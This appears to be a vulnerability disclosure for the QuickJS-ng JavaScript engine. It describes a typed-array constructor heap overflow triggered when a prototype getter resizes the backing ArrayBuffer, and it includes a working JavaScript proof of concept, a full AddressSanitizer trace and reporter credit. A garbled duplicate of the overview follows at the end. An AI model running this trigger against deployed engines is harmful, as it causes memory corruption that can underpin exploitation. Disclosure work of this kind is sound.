Overview
js_typed_array_constructor does obj = js_create_from_ctor(ctx, new_target, classid); which can trigger JS code here proto = JS_GetProperty(ctx, ctor, JS_ATOM_prototype);. Thus, we can define a getter on new_target.prototype that resizes or detaches the input ArrayBuffer mid-execution. At the end of js_typed_array_constructor, typed_array_init will get called with OOB arguments on a resized Array Buffer.
PoC
const ab = new ArrayBuffer(10, { maxByteLength: 10 });
function f() {
return 1337;
}
const evil = f.bind();
Object.defineProperty(evil, "prototype", { get: () => {
console.log("resizing");
return ab.resize();
} });
let u8 = Reflect.construct(Uint8Array, [ab], evil);
console.log(u8);
ASAN output:
==1004659==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001191 at pc 0x64e0909c1b5b bp 0x7fffe760c000 sp 0x7fffe760bff0
READ of size 1 at 0x502000001191 thread T0
#0 0x64e0909c1b5a in js_get_fast_array_element (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xe1b5a) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#1 0x64e090b2139e in js_typed_array_join (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x24139e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#2 0x64e090a766d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#3 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#4 0x64e090b44b05 in js_array_toString (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x264b05) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#5 0x64e090a76811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#6 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#7 0x64e090987f5e in JS_CallFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xa7f5e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#8 0x64e0909f229b in JS_ToPrimitiveFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11229b) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#9 0x64e0909e4650 in JS_ToStringInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x104650) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#10 0x64e0909f2856 in js_force_tostring (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x112856) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#11 0x64e0909f29ea in JS_ToCStringLen2 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1129ea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#12 0x64e09091c31f in js_print (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x3c31f) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#13 0x64e090a76811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#14 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#15 0x64e09094eda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#16 0x64e090ad5921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#17 0x64e090adaf30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#18 0x64e090adb454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#19 0x64e090ae06b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#20 0x64e090ae5a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#21 0x64e090913ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#22 0x726c2e62a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#23 0x726c2e62a47a in __libc_start_main_impl ../csu/libc-start.c:360
#24 0x64e0909147d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
0x502000001191 is located 0 bytes after 1-byte region [0x502000001190,0x502000001191)
allocated by thread T0 here:
#0 0x726c2eafc778 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
#1 0x64e0909b52ca in js_realloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xd52ca) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#2 0x64e090aaad05 in js_array_buffer_resize (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1cad05) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#3 0x64e090a766d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#4 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#5 0x64e09094eda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#6 0x64e090987f5e in JS_CallFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xa7f5e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#7 0x64e0909f1723 in JS_GetPropertyInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x111723) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#8 0x64e090a1ace3 in js_create_from_ctor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x13ace3) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#9 0x64e090afaa9e in js_typed_array_constructor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x21aa9e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#10 0x64e090a766d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#11 0x64e090ad2234 in JS_CallConstructorInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2234) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#12 0x64e090ad2c98 in js_reflect_construct (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2c98) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#13 0x64e090a76811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#14 0x64e09094d863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#15 0x64e09094eda4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#16 0x64e090ad5921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#17 0x64e090adaf30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#18 0x64e090adb454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#19 0x64e090ae06b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#20 0x64e090ae5a7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#21 0x64e090913ffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
#22 0x726c2e62a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#23 0x726c2e62a47a in __libc_start_main_impl ../csu/libc-start.c:360
#24 0x64e0909147d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xe1b5a) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56) in js_get_fast_array_element
Shadow bytes around the buggy address:
0x502000000f00: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa
0x502000000f80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
0x502000001000: fa fa fd fd fa fa fd fa fa fa fd fa fa fa 00 fa
0x502000001080: fa fa 00 fa fa fa fd fd fa fa 00 fa fa fa fd fd
0x502000001100: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
=>0x502000001180: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000001400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1004659==ABORTING
Reporter credit: mcsky23 (Vlad Ionut Seba)
Overview
js_typed_array_constructordoesobj = js_create_from_ctor(ctx, new_target, classid);which can trigger JS code hereproto = JS_GetProperty(ctx, ctor, JS_ATOM_prototype);. Thus, we can define a getter on new_target.prototype that resizes or detaches the input ArrayBuffer mid-execution. At the end ofjs_typed_array_constructor,typed_array_initwill get called with OOB arguments on a resized Array Buffer.PoC
ASAN output:
Reporter credit: mcsky23 (Vlad Ionut Seba)